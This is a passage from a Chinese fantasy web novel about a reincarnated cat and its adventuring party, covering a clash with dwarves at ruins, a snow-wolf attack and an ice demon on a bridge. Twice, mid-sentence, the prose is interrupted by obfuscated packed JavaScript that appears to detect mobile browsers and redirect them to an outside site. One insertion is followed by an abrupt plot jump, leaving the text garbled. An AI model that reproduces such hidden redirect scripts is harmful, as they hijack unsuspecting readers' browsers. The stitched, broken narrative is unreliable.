方绪白尾巴尖轻轻扫过罗文的耳垂,绒毛蹭得人发痒。这是他们磨合三年练出的暗号,比任何魔法口令都快——罗文立刻放慢脚步,棕发下的绿眼沉了沉,像被云遮住的湖面,左手按在剑鞘上,指节微微发力,连呼吸都放轻了。 他余光瞥见奎兰还盯着断壁上的符文出神,浅金发被风吹得贴在脸颊,像刚被露水打湿的柳枝,蓝眼里满是近乎虔诚的专注,连攥着木杖的指节泛白、指腹磨出细茧都没察觉,仿佛那刻满纹路的石壁,藏着他寻觅已久的答案。 而走在最前的西拉斯,黑发红眼在阴影里像烧到一半的炭,暖得藏着劲,扛着的盾面“护”字旁,那道矿坑旧纹被藤蔓划得模糊,却仍透着金属冷硬的光,盾沿还沾着昨天帮村民修屋顶时蹭的泥,像给冰冷的铁添了点人间烟火气。 “啧,这不是从矿坑里钻出来的逃兵吗?” 粗哑的声音从转角炸响时,方绪白的尾巴瞬间竖成旗杆,毛都炸了起来。三个穿铁铠的矮人堵在路前,铠甲上的锈迹沾着尘土,为首的老矮人胡子上还沾着炉渣,像挂了把灰扑扑的刷子,手里的战斧在地上顿了顿,震起细小的石子,砸在断壁上发出“嗒嗒”的响。 他的目光像烧红的铁钎,直戳西拉斯的脸,每一个字都带着火星:“拿着块快散架的破盾也敢叫护卫?当年矿坑塌的时候,你跑得比兔子还快吧?老马克他们被埋在下面,怕是到死都没等来你回头递把铲子,只等来你抱着盾躲在安全区发抖!” “闭嘴!” 西拉斯的肩猛地绷紧,像拉到极致的弓弦,握盾的手青筋暴起,指节捏得发白,连盾柄都被攥得发烫。 方绪白能看见他耳尖的红——不是羞恼的涨红,是旧伤疤被狠狠撕开的疼,像结了痂的伤口又被撒了盐。 他想起四个月前在铜匠镇,西拉斯喝醉了抱着盾坐在铁匠铺门口哭,酒气混着眼泪,说当年矿坑塌时,老马克把他往安全区推,自己被落石埋住时还喊“护好盾,活下去,别让兄弟们的盾白扛”。 那时西拉斯的眼泪砸在盾面上,比铁疙瘩还沉,晕开一小片锈迹,像给冰冷的铁镀了层伤心的印。 方绪白喉咙里发出低低的呼噜声,社畜的“识时务”让他快速计算局势——对方三个矮人都握着战斧,铠甲上还刻着“铁骨队”的纹章,一看就是常年在矿坑厮杀的硬茬,手上的茧子比西拉斯的盾还厚。 而他们这边,奎兰连木杖都快攥不住了,指节抖得厉害,罗文的剑还在鞘里,没露出半点寒光,自己更是只没尖牙利爪的猫,唯一的武器就是那点危险感知。 可“必须护住队友”的觉悟又让他没法缩着,它弓起背,爪子轻轻搭在罗文的肩甲上,肉垫里的尖爪悄悄露出来——打不过就跑是社畜本能,但跑之前,得先把身边的人护好。 “说话注意分寸。” 罗文上前一步,剑鞘轻轻撞了撞西拉斯的盾沿,发出“当”的一声轻响,声音不高,却带着不容置疑的冷,像冬日里的冰棱。 他棕发下的绿眼盯着老矮人,一字一句地说:“西拉斯的盾护过的人,从边陲镇拄着拐杖的阿婆到码头镇怕生的精灵小孩,比你们见过的矿车还多。去年雾林村瘴气,他三天三夜没合眼敲护符,自己咳得肺都快出来了,还把最后一块镶晶护符塞给奎兰,怕他被瘴气伤着。至于‘逃兵’——当年若不是老马克推着他走,现在站在这里跟你说话的,只会是一具被落石砸烂的白骨,哪还有机会扛着盾护人,哪还有机会把老马克的话记到现在?” “哈!骑士团除名的废物也配替人辩解?”老矮人笑得像碎石滚落,唾沫星子溅在地上,混着尘土凝成小泥点,“你当年为了护平民绕路,丢了商队的货,被骑士团摘了徽章的时候,怕是比他跑得还快吧?还有你——”他的目光扫向奎兰,轻蔑得像在看路边的野草,连语气都带着刺,“被族里赶出来的精灵崽子,连自己的森林都守不住,还敢来碰古藤城的遗址?长老们要是知道你对着人类的图纸发呆,怕是要气得从树洞里爬出来,把你当年忘在族里的银镯都砸了,让你连最后一点精灵的念想都留不住!” 奎兰的脸“唰”地白了,像被雪覆盖的纸,往后缩了缩,木杖“哐当”一声磕在石头上,发出刺耳的响。 他的蓝眼里满是慌乱,像受惊的小鹿,嘴唇动了动,却没说出一个字,只有指尖的颤抖泄露了他的不安。当年他偷偷望人类村庄,被长老发现时,妹妹塞给他的银镯掉在树洞里,他都没敢回头捡,只听见身后传来长老的斥责,像鞭子抽在心上。 方绪白立刻从罗文肩上跳下来,绕到奎兰脚边,用身子蹭他的小腿。 毛茸茸的尾巴扫过奎兰冻得发红的脚踝,像团暖乎乎的小毯子,爪子轻轻扒了扒他的裤腿——这是他在无数个加班夜总结出的安慰方式,当年同事被老板骂哭时,他也是这样默默递上热咖啡,笨拙却管用。 奎兰愣了愣,低头看着猫头顶的软毛,那点暖乎乎的触感顺着小腿往上爬,蓝眼里的慌乱慢慢淡了些,他咬了咬唇,小声却清晰地说:“我……我只是想看看符文。 古藤城的精灵符文里,有关于‘守护’的记载,我想学会了,以后能护住大家……比如上次石漠村沙虫,我要是能快点催出藤蔓,西拉斯就不用被沙虫刮破胳膊了,他的盾也不会沾那么多血……我没有要冒犯遗址的意思,真的没有。” 就在这时,地面突然剧烈震颤起来! 断壁上的石块簌簌往下掉,砸在地上发出“砰砰”的响,最上方那根碗口粗的横梁发出“嘎吱——”的脆响,木纹里裂出细缝,像老人干裂的手掌,随时会断裂。 而横梁下,那个帮他们带路的人类向导正蹲在地上,专心捡散落的图纸,完全没察觉头顶的危险——他的女儿还在青稻村等着他带新图纸回去修水渠,口袋里还揣着女儿绣的小布猫,针脚歪歪扭扭,却透着孩子气的认真。 “快躲开!” 罗文吼着冲过去,剑刚拔到一半,却见西拉斯已经扛着盾冲在了前面。那盾比平时举得更稳,黑发红眼在烟尘里亮得惊人,像燃起来的炭,连脚步都比往常快了三分。 方绪白看见他的靴底在地上蹭出两道痕——平时总说“怕死,要留着命打铁”的人,此刻却跑得比谁都快,连盾都举得比自己的命还重。而“铁骨队”的三个矮人,竟没一个动的,反而往后退了两步,眼睁睁看着横梁往下砸,老矮人的嘴角甚至还带着点看戏的冷笑,像在看一场与自己无关的闹剧。 “砰——!” 横梁砸在盾面上的瞬间,巨响震得人耳膜发疼,连断壁上的藤蔓都抖了抖。 西拉斯的膝盖弯了弯,整个人被震得往后滑了半尺,靴底磨出的火花溅在地上,像撒了把碎星子,盾面的矿坑旧纹被压得变了形,边缘甚至翘起来一块,刮破了他的袖口,露出里面还没好全的沙虫旧疤,红得刺眼。可他死死咬着牙,没退后半步,红眼里满是狠劲,像要把所有的力气都灌进盾里:“奎兰!用藤蔓!快!缠住横梁两端,别让它砸下来!向导还在下面!” 奎兰猛地回神,木杖往地上一戳,指尖泛起淡绿色的光,像春天刚冒头的新芽。 藤蔓从断壁的石缝里疯长出来,像无数只有力的手,紧紧缠住横梁的两端,藤蔓上还开着细小的白色小花——那是他偷偷练了半个月的“固梁术”,本来想在青稻村帮村民修桥时用,没想到现在派上了用场。原本摇摇欲坠的横梁被稳住了,石块不再往下掉,烟尘慢慢散了些,能看见向导吓得脸色惨白,手里还攥着那张画着水渠的图纸,指节都泛了白。 罗文趁机冲过去,一把将向导拉到安全地带。他低头检查向导有没有受伤,手指飞快地拂过向导的胳膊、膝盖,连衣角都仔细看了看——确认没伤口后,才松了口气,像放下了块悬着的石头。 转身时,正好看见方绪白跳上西拉斯的盾——猫的动作很轻,爪子扒掉盾沿卡住的碎石,连嵌在缝隙里的小石子都没放过,甚至还舔了舔西拉斯被刮破的袖口,把沾在上面的尘土舔干净。社畜的“细节控”在此刻成了救命的本事——那些碎石若是掉进西拉斯的衣领,磨破皮肤事小,万一硌到他的伤口,影响撑盾的力道,横梁随时可能砸下来,到时候不仅向导危险,西拉斯自己也会被压在下面。 “还愣着干什么?!”西拉斯转头对“铁骨队”的矮人大吼,声音里带着破音,却比任何命令都有力,像铁锤砸在铁砧上,“想让遗址全塌了?到时候你们要找的矿坑旧图,还有老马克当年埋在遗址下的工具,全得被压成碎渣,连块完整的铁屑都剩不下!” 老矮人这才反应过来,慌忙上前帮忙。他蹲在西拉斯身边递铁钳时,目光突然定在盾面的旧纹上,瞳孔骤缩——那是矿坑“护伴队”独有的标记,锤柄形状的纹路里,还刻着一个小小的“马”字,是老马克亲手刻的,当年老马克总说“这纹能护着兄弟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16290278|182655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们,让大家都平平安安出矿坑”。 老矮人的手开始发抖,声音也哑了,像被砂纸磨过,他伸手想去摸那道纹,又怕碰碎了什么似的缩了回去,指节蹭过盾面的锈迹,留下一道浅痕:“你……你是老马克队里的那个小子?叫……叫西拉斯?当年矿坑塌了后,老马克的弟弟还到处找你,说要把他的锤子给你,说那是老马克临终前嘱咐的,要给最会护盾的兄弟……” 西拉斯的动作顿了顿,红眼里闪过一丝复杂的光——有疼,有愧疚,还有一丝连他自己都没察觉的释然,像被云遮住的太阳,终于漏出点光。他没说话,只是往旁边让了让,把盾上的位置空出来,方便老矮人递工具,甚至还帮老矮人扶了扶快要掉的护腕,动作笨拙却认真。 方绪白知道,这是西拉斯的妥协,也是他放下过往的开始——那个总把“怕死”挂在嘴边的矮人,比谁都想对得起老马克的那句“活下去,别让兄弟们的盾白扛”。 “当年老马克跟我喝酒,总说队里有个小子最会修盾,连最破的铁盾都能修得跟新的一样,”老矮人叹了口气,从背包里掏出一把铁锤,锤头磨得发亮,能映出人影,锤柄上还缠着旧布条,是洗得发白的粗麻布,“他说这锤是他爹传下来的,能敲开最硬的矿石,也能修好最破的盾。 他说要是哪天能遇见你,就把这个给你,让你别总背着‘逃兵’的名头活,说你当年跑,不是怕死,是为了带着兄弟们的盾继续护人,是替大家活着。你看……这锤柄上的纹,是他照着你的盾纹磨的,磨了整整三个月,说这样你握起来顺手。” 西拉斯接过锤的手有些抖,指腹蹭过锤柄上熟悉的纹路——那是他当年教老马克刻的,说这样握起来更稳,不容易滑手,尤其是在矿坑里沾了水的时候。 他的眼眶慢慢红了,却没掉眼泪,只是把锤往老矮人手里塞了回去,粗声粗气地说:“先修断梁,这锤……用完再还我。老马克的东西,不能用来当摆设,得用在正经事上,修梁护人,才对得起他。” 方绪白蹲在盾上,看着这一幕,尾巴轻轻晃了晃,像拂过心头的软风。 他突然觉得,所谓的“小队核心”不是指挥谁,不是喊口号,而是像现在这样——西拉斯撑着盾挡住危险,像座不动的山;奎兰用藤蔓稳住希望,像缕不死的绿;罗文护着弱小,像道温暖的光;而他用自己的方式预警、安慰、搭把手,像颗不起眼却管用的小钉子。勇士的“完成任务”觉悟,在这里变成了“守护家人”的热血,这种反差比任何战斗都让他觉得踏实,比在写字楼里拿到年终奖还开心。 他想起第一年在边陲镇,西拉斯还会因为别人提矿坑而炸毛,像只被惹急的刺猬;奎兰不敢跟陌生人说话,连买面包都要躲在罗文身后;罗文总把自己关在帐篷里擦剑,对着剑鞘上的旧纹章发呆,眼里满是迷茫;而现在,他们能站在一起,挡着断梁,护着彼此,连呼吸都透着默契。 奎兰的藤蔓已经把断梁缠得结实,像给横梁裹了层绿铠甲,他走到西拉斯身边,手指轻轻碰了碰盾面翘起的边缘,小声说:“你的盾……有点变形了。我用治愈魔法帮你修修吧?不会影响上面的纹,我还能在盾沿加层藤蔓,又软又韧,以后不容易翘边,还能挡点小石子。” 西拉斯愣了愣,点了点头,还往奎兰那边凑了凑,方便他施魔法,甚至主动把盾调整到最舒服的角度,怕奎兰踮脚太累。 奎兰的指尖泛着淡绿色的光,轻轻拂过盾面的变形处,像在抚摸受伤的小动物,藤蔓慢慢缠上盾沿,开出细小的白花——像给冷硬的金属添了点温柔,让冰冷的铁也有了生气。 罗文靠在断壁上,看着他们,绿眼里带着温柔的笑意,像映着暖阳的湖,伸手摸了摸方绪白的头,指尖带着暖意:“你刚才的预警很及时,薇薇安。要是没有你扫我耳垂,我们可能来不及反应,向导就危险了。还有你帮西拉斯扒碎石的时候,比我还细心,连那么小的石子都没放过,他袖口的伤也没被蹭到。” 方绪白蹭了蹭罗文的手心,毛茸茸的脑袋顶着他的指尖,琥珀色瞳孔里映着队友的身影——西拉斯正低头看着老矮人修梁,红眼里没了之前的冷硬,甚至还帮老矮人递了块木楔,动作熟练得像在铁匠铺里搭伙;奎兰的指尖还泛着淡绿的光,正小心翼翼地把盾面的锈迹擦掉,连“护”字上的灰都没放过;罗文的手还放在他头上,温暖得像边陲镇的炉火,口袋里还揣着给奎兰留的蜜饯,是昨天在村口小卖部买的,甜得像糖。 风还在吹,藤蔓在断壁上慢慢舒展,像在伸懒腰,老矮人的锤子敲在梁上,发出清脆的响,“叮叮当当”的,像首简单的歌。阳光从断壁的缝隙里漏下来,落在他们身上,把影子拉得很长,像四个紧紧靠在一起的剪影。 15. 雪山村 雪山村的晨雾总带着冰碴子,刮在脸上像细针,铁匠铺的铁砧声却像烧红的星铁般滚烫,一下下撞碎林间的寂静。西拉斯蹲在铺子中央,黑发红眼在晨光里泛着微光,指尖反复摩挲新盾的边缘——这面用山地城邦矮人赠的星铁铸的盾,比旧盾沉了三成,盾面刻着三道交错的纹路:一道是罗文剑刃的弧度,流畅得像春水流过石滩;一道是奎兰藤蔓的缠绕,盘曲里藏着精灵的温柔;最下方藏着个歪歪扭扭的猫爪印,是他昨晚借着铁匠铺的余温,用铁钎子凿了半个时辰的成果,指节上还留着未消的红痕,像冻裂的樱桃。 方绪白叼着块绒布从梁上跳下来,琥珀色瞳孔精准扫过西拉斯的指节,尾巴尖勾住垂在一旁的旧盾带——那面陪了他们七年的铁盾,昨天在山腰挡落石时裂了道深痕,西拉斯盯着裂痕坐在雪地里沉默了半宿,今早天没亮就踹开铁匠铺的门,连热麦饼都忘了拿,只揣了块凉硬的烤土豆。 新盾要是比旧的重,你举着它摔进雪堆,我可不会叼你出来。勇士的时间可是很宝贵,没空救笨矮人。方绪白这样装装的想着。 西拉斯好想知道方绪白的想法一样,抬手弹了弹方绪白的耳朵,力道却比往常轻了三分,黑发红眼的矮人难得没骂“笨猫”,只是把盾往方绪白面前推了推:“试试结界。你那危险感知比奎兰的藤蔓还灵,要是漏了气,待会儿遇着魔兽,先把你丢出去当诱饵——反正你跑得比兔子快,比地精还滑头。” 方绪白翻了个白眼,却还是起身踩在盾面上。星铁的凉意透过脚掌传来,像踩在刚化的冰水里,它皱了皱鼻子——这盾的结界比旧盾密三倍,风穿过盾纹时发出的嗡鸣都透着“结实”,连雪地里藏着的冰刺气息都被挡在了外面。 它忽然想起第一年在边陲镇,西拉斯举着补了又补的铁盾吼“再用三月就散架”,吼完却轻手轻脚把盾搁在它脚边,怕盾沿的坑洼蹭疼它的尾巴尖,那时盾上的锈迹还沾着青稻村的泥。 如今这新盾泛着冷光,可西拉斯的指尖落在猫爪印上时,依旧带着当年那份藏在骂声里的温柔,像把炭火藏在粗布口袋里。 铺子外忽然传来脚步声,带着雪粒落地的轻响。罗文提着个布包走进来,棕发上沾着的雪粒还没化,像撒了把碎盐,绿眼扫过新盾时弯了弯,眼底的温和像晒过太阳的麦饼,暖得能化雪:“比我想的快。 猎户送了块雪狐皮鞣的软皮,防潮还软和,给方绪白做爪垫正好——它上次踩冰刺时,爪子还流了血,走路都一瘸一拐的,我记着呢。”他说着打开布包,软皮的暖香混着雪气飘过来,像把冬日暖阳裹在了布里。 方绪白立刻凑过去蹭了蹭罗文的手背——这位前骑士,永远把这些细碎的事记得比谁都清楚,就像当年在边陲镇,他会连夜缝补阿婆被魔鼠咬破的围裙,会把披风轻轻盖在睡着的自己身上,连线轴从桌上掉了都不恼,只捡起来继续缝。 “做什么爪垫,”西拉斯抢过软皮,指腹蹭过狐皮的绒毛,却还是找了把小剪子,笨拙地比着方绪白的爪子剪形状,指尖偶尔碰到软皮的绒毛,还会下意识放慢动作,像怕碰碎了雪地里的薄冰,“这猫踩雪从不沾泥,爪子尖比铁钎子还硬,根本用不上。”话是这么说,剪到第三块时,他却突然停手,把软皮往方绪白面前递了递,声音低了些,像被雪压着的树枝:“试试?剪大了我再改——别咬我,我这是看罗文的面子。” 方绪白没动,琥珀色的眼睛忽然亮了亮,像雪地里突然亮起的火把。 风里传来一丝极淡的血腥味,混着雪狼特有的臊气,危险的预感像电流般窜过脊背,比当年在魔虫洞的警报还急,它立刻跳上罗文的肩头,尾巴直指村外的树林,毛都竖了起来。 “奎兰呢?“ ”他去后山采冰薄荷了,那边离得最近,要是遇着雪狼……” 罗文瞬间握紧腰间的剑,绿眼里的温和褪去,只剩冷静的锐利——像是当年在骑士团护平民时的眼神,像把剑鞘里藏了朵暖花:“我去树林拦着,你和西拉斯去找奎兰!他的盾能挡魔兽,别让奎兰单独面对。” “我去叫他!”西拉斯抓起新盾就往外冲,盾在雪地上拖出道浅痕,刚跑两步却回头,把剪好的软皮塞进方绪白的嘴里,动作急却轻,像怕捏坏了软皮:“拿着!别丢了——你要是敢弄丢,今晚就别想蹭我的烤麦饼,连凉土豆都不给你!” 方绪白叼着软皮,跟着罗文往树林跑。刚进林子,就看见五只雪狼正围着奎兰——精灵蹲在雪地里,浅金发被风吹得乱飘,像刚被雪压过的柳条,蓝眼里却没了当年的怯懦,木杖一挥,藤蔓就像有了意识般缠住最前面那只雪狼的腿,力道比三年前强了数倍,像从嫩藤长成了韧枝。 可雪狼太多,有一只绕到奎兰身后,獠牙已经露出,涎水滴在雪地上,瞬间冻成了冰粒,像撒了把碎玻璃。 “奎兰!”罗文的剑瞬间出鞘,剑光劈开雪雾,精准地挑开雪狼的喉咙,血溅在雪地上,红得刺眼,像雪地里开了朵恶之花。 方绪白趁机跳下来,爪子拍在另一只雪狼的眼睛上——“打不过就偷袭”本能全开,趁雪狼吃痛嘶吼时,又叼着奎兰的斗篷往后拖,把他拉到自己身后,像护住藏在怀里的暖手宝。 西拉斯这时也冲了过来,新盾往雪地里一砸,结界瞬间展开,淡蓝色的光罩像透明的蛋壳护住三人,连雪粒都沾不上。雪狼撞在结界上,发出凄厉的嚎叫,竟被弹飞出去,摔在雪地里抽搐了两下就没了声息,像被冻僵的枯枝。 “愣着干什么!”西拉斯吼着把奎兰往自己身后拉,黑发红眼却没了往日的暴躁,反而带着点后怕,像怕手里的暖炉摔碎,“你那藤蔓能缠住一只,还能缠住一群?不要命了?后山的冰薄荷就那么重要,非要冒着雪去采?” 奎兰抿了抿唇,却没像以前那样往后缩,反而往前迈了一步,木杖再次挥动,指尖泛起淡蓝色的微光,像雪地里刚融的冰泉:“我能催出冰棱,帮你们挡着。”他的声音比第一年清晰多了,不再像怕被风听去,蓝眼里映着结界的光,没有丝毫动摇,“罗文的剑要护着前面,西拉斯的盾挡着左边,我来守右边——我不会拖后腿的。” 话音刚落,冰棱就从雪地里窜出,像突然长出的水晶,精准地挡在右边袭来的雪狼面前,把雪狼的腿冻住了大半,冰碴子顺着狼毛往下掉。 方绪白蹲在雪地里,琥珀色瞳孔扫过三人——罗文的剑稳如磐石,每一次挥砍都恰到好处地避开奎兰的藤蔓,连剑光都带着保护的弧度,像怕伤了身边的嫩枝;西拉斯的新盾挡住了所有从侧面扑来的攻击,结界弹飞魔兽时,他还会下意识往奎兰那边挪一挪,怕冰棱挡不住,盾面的猫爪印都对着精灵的方向;奎兰的藤蔓不再只是防御,而是精准地缠住魔兽的关节,给罗文创造进攻的机会,甚至会在西拉斯的盾快扛不住时,用冰棱帮着减轻压力,藤蔓与冰棱配合得像多年的老搭档。 这哪里还是当年那个在荆棘谷被小孩问一句“你是精灵吗”就躲到树后的社恐精灵?哪里还是那个在边陲镇只会骂“笨猫添乱”、连给猫递块烤土豆都要别扭半天的矮人?哪里还是那个被骑士团除名后、连路边的野花都不敢摘怕被说“不遵规矩”的前骑士? 雪狼很快被解决。西拉斯靠在盾上喘气,黑发红眼的矮人难得没抱怨“累死了,下次再也不陪你们疯”,反而看向奎兰,声音里带着点不易察觉的认可,像冰下藏着的暖流:“你刚才那冰棱,要是再快一点,就能冻住雪狼的爪子——下次记得提前蓄力,别等魔兽到跟前了才动手,我这盾可不能次次救你。” 奎兰点了点头,蹲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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西拉斯立刻举起盾,黑发红眼的矮人脾气瞬间上来了,盾面的星铁在阳光下泛着冷光,像要喷火:“你说谁非人类?当年要不是罗文护着你们这些只会躲在城堡里喝热汤、烤壁炉的贵族,你能站在这儿说风凉话?奎兰比你们这些伪君子善良百倍,他为了救村民,连自己的精灵草药都舍得用;方绪白比你们的盾手还靠谱,多少次都是它先发现危险——你有什么资格嘲笑他们?你那骑士铠甲里,装的是铁石心肠吧!” 方绪白也炸了毛,琥珀色瞳孔盯着骑士,喉咙里发出低吼,尾巴竖得笔直,像根绷紧的弦。 骑士被西拉斯的气势吓退,张了张嘴却没敢再说话,只是悻悻地退了回去,嘴里还嘟囔着“不知好歹”。 罗文拉了拉西拉斯的盾带,声音依旧温和,却带着不容置疑的坚定,像冬日里的暖阳:“走吧,比安卡还在等着我们吃午饭,他烤的麦饼该凉了,凉了就不好吃了,你不是最爱吃刚出炉的吗?” 往回走的路上,雪风小了些,奎兰忽然开口,声音比雪风还轻,像落在掌心的雪粒:“罗文,你不想回骑士团吗?那里……曾是你的归宿吧,你以前说过,想当最厉害的骑士,护更多的人。” 罗文笑了笑,绿眼里映着雪光,像撒了把星星,温柔得能融雪:“以前想过,觉得那是我唯一能去的地方,是我从小到大的目标。可现在……”他看了看西拉斯,又看了看奎兰和方绪白,指尖轻轻碰了碰方绪白的耳朵,软乎乎的,“我有更想守护的东西,那些比爵位重要多了。” 西拉斯哼了一声,却把盾往罗文那边靠了靠,盾面的猫爪印刚好对着方绪白,像在炫耀自己的“杰作”:“不过下次再遇到这种骑士,别拦着我,我非得用盾把他们的嘴砸烂不可——让他们知道,我们小队比他们那些只会摆架子的骑士靠谱多了,我们护的人,比他们多,比他们真。” 方绪白叼着软皮,跳上西拉斯的盾。新盾的结界还带着余温,像揣了个暖炉。 16. 冰桥除魔 雪粒子打在斗篷上簌簌响时,方绪白正缩在罗文怀里抖。浅灰的猫毛被寒气浸得发僵,根根竖起来像冻硬的青稞秸秆,连尾巴尖的毛都拧成了小团,沾着的雪粒没化,倒像缀了些碎盐粒。琥珀色的瞳孔眯成条细缝,鼻尖反复蹭着罗文颈侧——那里沾着点圣光的暖意,像阿婆灶膛边温了半宿的酥油茶罐,罐身还留着掌心的温度,是全队唯一不冻人的地方。 罗文低头摸了摸它的耳朵,指尖泛着浅绿的治愈光,暖得能化开指缝里的雪粒,连猫耳尖的霜花都融成了小水珠:“冷成这样?早知道把西拉斯那床打了补丁的牦牛毛旧棉垫给你裹上,他总说棉垫沾了奶渣饼屑,正好给你当暖垫。”话音刚落,村口突然爆起一阵哭腔,细弱却扎耳,像被冻住的牦牛角号突然破了音,在雪地里飘得老远。 是个扎羊角辫的小孩,藏青色氆氇小袄的袖口磨得发亮,露出里面打了补丁的羊毛絮,蹲在对岸冰桥边抹眼泪。冻得通红的小手攥着块啃了一半的奶渣饼,饼边沾着雪,早冷硬得像块小石子。方才还能过人的木桥,此刻被冰魔冻得结结实实,青黑色的桥板覆着层半指厚的冰,冰棱子从桥板缝里往外钻,像铁匠次仁铺里没敲平的铁刺,尖溜溜的;连埋在雪里的桥桩都裹着层白霜,硬得能硌碎冻成块的酥油,敲上去“当当”响。 冰魔就站在桥中央,青灰色的皮肤泛着冷光,像块从村后冰湖里捞出来的顽石,身上还沾着未化的冰碴,胸口那块菱形冰晶忽明忽暗——早上阿婆煨酥油茶时说的“冰魔时冷时热,冻得人骨头缝都疼”倒是真的。这会儿冰晶泛着浓白的雾,连周围的空气都跟着冻得发颤,方绪白往罗文怀里又缩了缩,连胡子都抖了抖,把脸埋得更深,鼻尖还在罗文颈侧蹭着,像在找更多暖意。 西拉斯举着铁斧往冰面上敲了敲,“当”的一声脆响,冰面没裂,倒震得他手麻,斧柄上的冰碴子簌簌往下掉,落在雪地上碎成小块:“这破玩意儿硬得很!比我那补了三块魔晶的铁盾还结实!砍上去跟敲次仁的铁砧似的!”他说着往手心里哈了口气,搓了搓冻得发红的手指,粗声粗气地骂了句“这鬼天气,牦牛都不愿出门”。 奎兰站在老柏树下攥着藤蔓,浅金发上落了层薄雪,像撒了把碎奶渣,连睫毛上都沾着点雪粒。蓝眼睛盯着冰魔胸口的冰晶,声音轻得像怕惊着寒气:“它、它好像在吸寒气……你看冰晶亮的时候,周围的雪都化得快些,刚才冰晶红了一下,桥边的雪就化了个小坑,像被阿婆的酥油茶泼过似的。” 话没说完,冰魔突然抬爪拍向桥板,冰棱子“唰”地从冰面窜出来,像突然竖起的小冰刀,直往小孩脚边扎。吓得那孩子“哇”地哭出声,往后缩时脚一滑,差点摔进雪堆,手里的奶渣饼也掉在了地上,沾了层雪,像块沾了霜的奶豆腐。 方绪白突然动了。它从罗文怀里挣出来,猫爪在雪地上扒了两步,雪粒沾在肉垫上,冻得它打了个哆嗦,爪子都蜷了蜷,却又回头用爪子拍罗文的剑鞘。剑鞘上还沾着上次打雪虫时的淡蓝黏液,早冻成了冰碴,被它拍得簌簌掉,露出里面泛着淡淡圣光的剑刃,像藏在鞘里的小太阳,带着点暖光。 罗文愣了愣——他的剑惯常裹着圣光劈砍魔物,治愈魔法向来只往人身上用,往剑上缠还是头一遭。这猫是想让他用治愈咒打冰魔?可猫还在拍,琥珀色的瞳孔直勾勾盯着冰魔胸口的冰晶,尾巴尖往小孩那边扫了扫,又往剑上指了指,像在说“往那儿砍,用这暖乎乎的光,能行”。 “试试就试试。”罗文指尖转了个方向,治愈咒的绿光绕着剑刃缠了圈,像给冷硬的剑裹了层暖融融的羊毛絮,连剑鞘都沾了点暖意。冰魔似是察觉到什么,猛地转头冲他吼,青灰色的脸上裂出几道冰纹,像冻裂的湖面,胸口的冰晶突然泛出红光——竟真的热了起来,连周围的冰棱都化了些水珠,滴在冰桥上“嗒嗒”响,像阿婆灶上的水滴在热铁上。 西拉斯看得直咋舌,斧头往肩上一扛,凑到奎兰身边:“还真有热的时候?跟阿婆灶上的铁锅似的,说热就热!这冰晶莫不是藏了团小灶火,还是裹了块烤热的酥油?”话音刚落,罗文已经踩着冰桥冲了过去,斗篷下摆扫过冰面,带起细碎的冰碴,像撒了把小碎钻。 冰魔的爪子拍过来时带起寒风,罗文侧身躲过去,斗篷被爪风扫到,瞬间结了层薄冰,摸上去硬邦邦的,像裹了层冰壳。他手腕一转,剑刃擦着冰晶划了道弧,绿光撞在冰晶上的瞬间,没像劈冰那样脆响,反倒“滋啦”一声冒起白汽——冰晶上竟融出个小坑,像灶上的热酥油茶滴在冰面上,化得又快又急,连冰魔身上的冰碴都融了些。 冰魔痛得嘶吼,声音像冰面裂开的脆响,刺耳得很,往后退时撞在桥桩上,冰桥晃了晃,桥板上的冰碴子簌簌往下掉。小孩吓得抱住了桥栏,羊角辫上的红绳都抖得厉害,眼泪掉在冰面上,瞬间就冻成了小冰珠,像串小小的冰珠子。 方绪白突然从罗文肩头跳下去,猫爪踩在冰面上打滑,像踩在刚化冻的青稞地,爪子扒得冰面“咯吱”响,却直往小孩那边窜。它用尾巴勾住小孩的裤脚往回拽,尾巴尖的毛沾了冰,冻得发硬,却勾得紧紧的,像怕一松劲孩子就掉下去;同时回头冲奎兰叫了两声,声音里带着点急,连耳朵都竖了起来,像在催他快动手。 精灵立刻懂了,木魔法催得藤蔓“嗖”地窜出去,像后山疯长的野葡萄藤,带着点韧劲,缠在小孩腰上往岸边拉,藤蔓上还沾着点未化的雪粒,像缀了些小雪花。等西拉斯伸手把人抱上岸时,罗文正好又一剑劈在冰晶上——这次绿光裹得更厚,像把暖乎乎的酥油茶浇在冰上,冰晶“咔嚓”裂了道缝,红光和白光在缝里乱闪,像要炸开似的。 “成了!”西拉斯举着斧头喊,声音里带着点雀跃,却见冰魔突然炸开团寒气,像瞬间泼出的冰水,罗文的斗篷瞬间结了层薄冰,连睫毛上都沾了霜,脸色也白了些。方绪白刚跳回罗文怀里,就用爪子扒他冻僵的手指,肉垫蹭着冰冷的指节,喉咙里呼噜呼噜响,像在催他赶紧用治愈咒暖一暖。 罗文低头笑了笑,用没拿剑的手摸它的背,指尖的绿光漫开,像温水淌过冰面:“还知道心疼人?刚才跳下去的时候,怎么不怕冻着爪子?要是冻坏了,阿婆的奶渣饼都抓不住了。”治愈咒往自己身上绕了圈,薄冰化了,暖意漫开时,他瞥见方绪白的爪子沾了雪,肉垫都冻得有点红,正往他怀里缩得更紧,连尾巴都缠上了他的手腕,像怕他再往前冲。 奎兰蹲在岸边给小孩擦眼泪,浅金发上的雪化了,水珠顺着发梢往下掉,滴在小孩的氆氇小袄上,晕开小小的湿痕。他从怀里摸出块烤青稞饼——是阿婆早上塞给他的,用羊毛布包着,还带着点余温,递到小孩手里:“吃、吃这个,暖身子,阿婆烤的,带着点奶香味,甜得很。” 